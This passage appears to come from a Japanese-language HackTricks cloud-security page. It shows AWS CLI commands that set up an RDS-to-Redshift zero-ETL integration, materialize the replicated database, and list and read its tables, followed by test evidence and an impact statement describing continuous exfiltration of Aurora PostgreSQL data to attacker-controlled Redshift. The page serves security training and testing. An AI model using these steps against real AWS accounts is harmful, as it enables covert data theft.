aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
--data-filter 'include: postgres.*.*'
# Redshift inbound integration should become ACTIVE
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
```
</details>

<details>
<summary>5) Redshiftの複製データをマテリアライズしてクエリする</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "select integration_id from svv_integration"  # take the GUID value
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "create database ztl_db from integration '<integration_id>' database postgres"
# List tables replicated
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
```
</details>

テストで観察された証拠:
- redshift describe-inbound-integrations: Integration arn:...377a462b-... の Status は ACTIVE
- SVV_INTEGRATION は DB 作成前に integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を示していた。
- CREATE DATABASE FROM INTEGRATION 実行後、テーブル一覧で schema ztl と table customers が確認され、ztl.customers を SELECT すると 2 行 (Alice, Bob) が返った。

影響: 攻撃者が制御する Redshift Serverless への、選択した Aurora PostgreSQL テーブルの継続的かつほぼリアルタイムな exfiltration が可能になり、データベース認証情報、バックアップ、またはソースクラスターへのネットワークアクセスを使用しない。

{{#include ../../../../banners/hacktricks-training.md}}
